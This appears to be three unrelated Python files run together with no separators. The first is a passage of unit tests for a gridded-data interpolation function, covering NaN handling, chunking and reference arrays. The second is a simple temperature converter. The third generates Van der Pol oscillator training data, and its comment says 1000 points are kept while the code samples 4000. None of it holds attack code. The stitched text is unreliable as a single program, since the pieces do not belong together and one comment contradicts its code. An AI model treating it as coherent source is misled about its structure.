        0.487358, 0.7638103, 0.003553235, 0.5545163, 0.9651239, 0.8871626,
        0.2278673, 0.7623955, 0.1769017, 0.7437277, 0.2431449, 0.7062375,
        0.3831751, 0.4336452, 0.5618274, 0.3706031, 0.4842921, 0.1042453,
        0.1383722, 0.06250896, 0.1314681, 0.8344675, 0.1938357, 0.1400811
    ]).reshape((_shape0, _shape1, _ni, _ni))

    _fi_np_msg_nan = _fi_np.copy()
    _fi_np_msg_nan[0, 0, 0, 0] = np.nan
    _fi_np_msg_nan[1, 1, 1, 1] = np.nan
    _fi_np_msg_nan[2, 1, 2, 2] = np.nan
    _fi_np_msg_nan[2, 1, 3, 3] = np.nan

    _fi_np_msg_99 = _fi_np_msg_nan.copy()
    _fi_np_msg_99[np.isnan(_fi_np_msg_99)] = -99

    _chunks = {
        'time': _fi_np.shape[0],
        'level': _fi_np.shape[1],
        'lat': _fi_np.shape[2],
        'lon': _fi_np.shape[3]
    }

    _ncl_truth = np.array([
        0.3237105, 0.2887675, 0.1539609, 0.4888571, 0.8951765, 0.5066158,
        np.nan, 0.0370131, 0.223796, 0.208128, 0.3619402, 0.76442, 0.4775567,
        np.nan, 0.9233359, 0.62587, 0.02650658, 0.2444884, 0.4906232, 0.6120635,
        np.nan, 0.6281158, 0.5058253, 0.4808828, 0.6017321, 0.6757824,
        0.5290115, np.nan, 0.1366455, 0.5545933, 0.4618556, 0.4548832,
        0.003553235, 0.3870832, np.nan, 0.1769017, 0.4343624, 0.4336452,
        0.3095225, 0.1383722, 0.1336995, np.nan
    ])

    groundtruth_msg_nan = np.array([
        np.nan, 0.2771198, 0.1539609, 0.4888571, 0.8951765, 0.5066158, np.nan,
        0.0370131, 0.223796, 0.208128, 0.3619402, 0.76442, 0.4775567, np.nan,
        0.9233359, 0.62587, 0.02650658, 0.2444884, 0.4906232, 0.6120635, np.nan,
        0.6281158, 0.5141395, np.nan, 0.6420152, 0.6757824, 0.5290115, np.nan,
        0.1366455, 0.5545933, 0.4618556, 0.4548832, 0.003553235, 0.3870832,
        np.nan, 0.1769017, 0.4343624, 0.4336452, 0.3665726, np.nan, 0.1281724,
        np.nan
    ])

    groundtruth_msg_99 = groundtruth_msg_nan.copy()
    groundtruth_msg_99[np.isnan(groundtruth_msg_99)] = _fi_np_msg_99[0, 0, 0, 0]

class Test_linint2pts_numpy(ut.TestCase, BaseTestClass):

    def test_linint2pts_fi_np(self):
        fo = linint2pts(self._fi_np,
                        self._xo,
                        self._yo,
                        0,
                        xi=self._xi,
                        yi=self._yi)

        self.assertEqual((self._shape0, self._shape1), fo.shape[:-1])

        self.assertEqual(np.float64, fo.dtype)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.reshape(newshape)

        print(
            self._fi_np.reshape(
                (self._shape0 * self._shape1 * self._ni * self._ni,)))

        print(fo_vals)

        print(self._xo)

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self._ncl_truth, fo_vals, decimal=5)

    def test_linint2pts_fi_np_no_xi_yi(self):
        with self.assertRaises(CoordinateError):
            fo = linint2pts(self._fi_np, self._xo, self._yo, 0)

    def test_linint2pts_fi_np_no_yi(self):
        with self.assertRaises(CoordinateError):
            fo = linint2pts(self._fi_np, self._xo, self._yo, 0, xi=self._xi)

    def test_linint2pts_fi_np_no_xi(self):
        with self.assertRaises(CoordinateError):
            fo = linint2pts(self._fi_np, self._xo, self._yo, 0, yi=self._yi)

class Test_linint2pts_non_monotonic(ut.TestCase, BaseTestClass):

    def test_linint2pts_non_monotonic_xr(self):
        fi = xr.DataArray(self._fi_np[:, :, ::-1, :],
                          dims=['time', 'level', 'lat', 'lon'],
                          coords={
                              'lat': self._yi_reverse,
                              'lon': self._xi
                          }).chunk(self._chunks)

        import warnings
        with self.assertWarns(Warning):
            linint2pts(fi, self._xo, self._yo, 0).compute()

    def test_linint2pts_non_monotonic_np(self):
        import warnings
        with self.assertWarns(Warning):
            linint2pts(self._fi_np[:, :, ::-1, :],
                       self._xo,
                       self._yo,
                       0,
                       xi=self._xi,
                       yi=self._yi_reverse)

class Test_linint2pts_float64(ut.TestCase, BaseTestClass):

    def test_linint2pts(self):
        fi = xr.DataArray(self._fi_np,
                          dims=['time', 'level', 'lat', 'lon'],
                          coords={
                              'lat': self._yi,
                              'lon': self._xi
                          }).chunk(self._chunks)

        fo = linint2pts(fi, self._xo, self._yo, 0)

        self.assertEqual((self._shape0, self._shape1), fo.shape[:-1])

        self.assertEqual(np.float64, fo.dtype)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.values.reshape(newshape).tolist()

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self._ncl_truth, fo_vals, decimal=5)

    def test_linint2pts_unchunked(self):
        fi = xr.DataArray(self._fi_np,
                          dims=['time', 'level', 'lat', 'lon'],
                          coords={
                              'lat': self._yi,
                              'lon': self._xi
                          })

        fo = linint2pts(fi, self._xo, self._yo, 0)

        self.assertEqual((self._shape0, self._shape1), fo.shape[:-1])

        self.assertEqual(np.float64, fo.dtype)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.values.reshape(newshape).tolist()

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self._ncl_truth, fo_vals, decimal=5)

    def test_linint2pts_msg_nan(self):
        # fi_msg_nan = xr.DataArray(self._fi_np_msg_nan, dims=['time', 'level', 'lat', 'lon'], coords={'lat': self._yi, 'lon': self._xi}).chunk(self._chunks)
        fi_msg_nan = xr.DataArray(self._fi_np_msg_nan,
                                  dims=['time', 'level', 'lat', 'lon'],
                                  coords={
                                      'lat': self._yi,
                                      'lon': self._xi
                                  }).chunk(self._chunks)

        fo = linint2pts(fi_msg_nan, self._xo, self._yo, 0, msg_py=np.nan)

        self.assertEqual((self._shape0, self._shape1), fo.shape[:-1])

        self.assertEqual(np.float64, fo.dtype)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.values.reshape(newshape).tolist()

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self.groundtruth_msg_nan,
                                       fo_vals,
                                       decimal=5)

    def test_linint2pts_msg_99(self):
        # fi_msg_99 = xr.DataArray(self._fi_np_msg_nan, dims=['time', 'level', 'lat', 'lon'], coords={'lat': self._yi, 'lon': self._xi}).chunk(self._chunks)
        fi_msg_99 = xr.DataArray(self._fi_np_msg_99,
                                 dims=['time', 'level', 'lat', 'lon'],
                                 coords={
                                     'lat': self._yi,
                                     'lon': self._xi
                                 }).chunk(self._chunks)

        fo = linint2pts(fi_msg_99,
                        self._xo,
                        self._yo,
                        0,
                        msg_py=self._fi_np_msg_99[0, 0, 0, 0])

        self.assertEqual((self._shape0, self._shape1), fo.shape[:-1])

        self.assertEqual(np.float64, fo.dtype)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.values.reshape(newshape).tolist()

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self.groundtruth_msg_99,
                                       fo_vals,
                                       decimal=5)

        #todo: Revisit for the parallelization:
        # Below test cases (would require corrections though)

#
class Test_linint2pts_dask(ut.TestCase, BaseTestClass):

    def test_linint2pts_chunked_leftmost(self):
        # use 1 for time and level chunk sizes
        custom_chunks = {
            'time': 1,
            'level': 1,
            'lat': self._fi_np.shape[2],
            'lon': self._fi_np.shape[3]
        }
        fi = xr.DataArray(self._fi_np,
                          dims=['time', 'level', 'lat', 'lon'],
                          coords={
                              'lat': self._yi,
                              'lon': self._xi
                          }).chunk(custom_chunks)
        fo = linint2pts(fi, self._xo, self._yo, 0)

        newshape = (self._shape0 * self._shape1 * self._no,)

        fo_vals = fo.values.reshape(newshape).tolist()

        # Use numpy.testing.assert_almost_equal() instead of ut.TestCase.assertAlmostEqual() because the former can
        # handle NaNs but the latter cannot.
        # Compare the function-generated fo array to NCL ground-truth up to 5 decimal points
        np.testing.assert_almost_equal(self._ncl_truth, fo_vals, decimal=5)

    def test_linint2pts_chunked_interp(self):
        # use 1 for interpolated dimension chunk sizes -- this should throw a ChunkError
        wrong_chunks = {'time': 1, 'level': 1, 'lat': 1, 'lon': 1}
        fi = xr.DataArray(self._fi_np,
                          dims=['time', 'level', 'lat', 'lon'],
                          coords={
                              'lat': self._yi,
                              'lon': self._xi
                          }).chunk(wrong_chunks)
        with self.assertRaises(ChunkError):
            fo = linint2pts(fi, self._xo, self._yo, 0)


import sys

def tempf2c(t):
    fahrenheit = float(t)
    celsius = (fahrenheit - 32) * 5 / 9
    return celsius

def tempc2f(t):
    celsius = float(t)
    fahrenheit = (celsius * 9 / 5) + 32
    return fahrenheit

x = float(input("Enter Ur Fahrenheit value"))
temperature = tempf2c(x)
print(temperature)
y = float(input("enter ur celsius value"))
temp = tempc2f(y)
print(temp)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue May 28 13:41:54 2019

@author: adamreidsmith
"""

import random as r
import numpy as np
from scipy.integrate import odeint
#import matplotlib.pyplot as plt

#Parameters
C1 = 1
#C2 = np.pi/2
T1 = 5
#T2 = 100*np.sqrt(2)

#RHS
def f(t):
    return C1*np.cos(2*np.pi/T1*t)  # + C2*np.cos(2*np.pi/T2*t)

data = []
datanotmod = []

num_ab_pairs = 1000
for i in range(num_ab_pairs):
    a = np.random.rand() #Random number in [0,1)
    b = np.random.rand()

    #Van der Pol oscillator equation
    def vanderpol(ic,t):
        x = ic[0]
        y = ic[1]
        yd = f(t) + a*(1-x**2)*y - b*x
        xd = y
        return [xd,yd]

    #Solve the ivp numerically
    ic = [0,0]
    tmax = 80
    n_points = 10000
    t = np.linspace(0,tmax,n_points)
    sol = odeint(vanderpol, ic, t)

    '''
    #Plot the data
    plt.figure(figsize=(8,6))
    plt.plot(t,sol[:,0])
    plt.xlabel('t')
    plt.ylabel('x(t)')
    '''

    #Keep a random 1000 data points
    indices = r.sample(range(n_points), k=4000)
    indices.sort()
    t = np.array([t[i] for i in indices])
    tmodT1 = t % T1
    x = [sol[i][0] for i in indices]
    xd = [sol[i][1] for i in indices]

    '''
    #Plot the data with time modulo T1
    plt.figure(figsize=(8,6))
    plt.scatter(tmodT1, x, s=1)
    '''

    tmodT1 = np.insert(tmodT1,0,a)
    x = np.insert(x,0,b)
    soln = [[tmodT1[j],x[j]] for j in range(len(tmodT1))]
    data.append(soln)

    t = np.insert(t,0,a)
    soln2 = [[t[j],x[j]] for j in range(len(t))]
    datanotmod.append(soln2)

    if i % 10 == 0:
        print('Iteration:', i)

np.save('../Data_files/vdp_param_data_modT1', data)
np.save('../Data_files/vdp_param_data_modT1_notmod', datanotmod)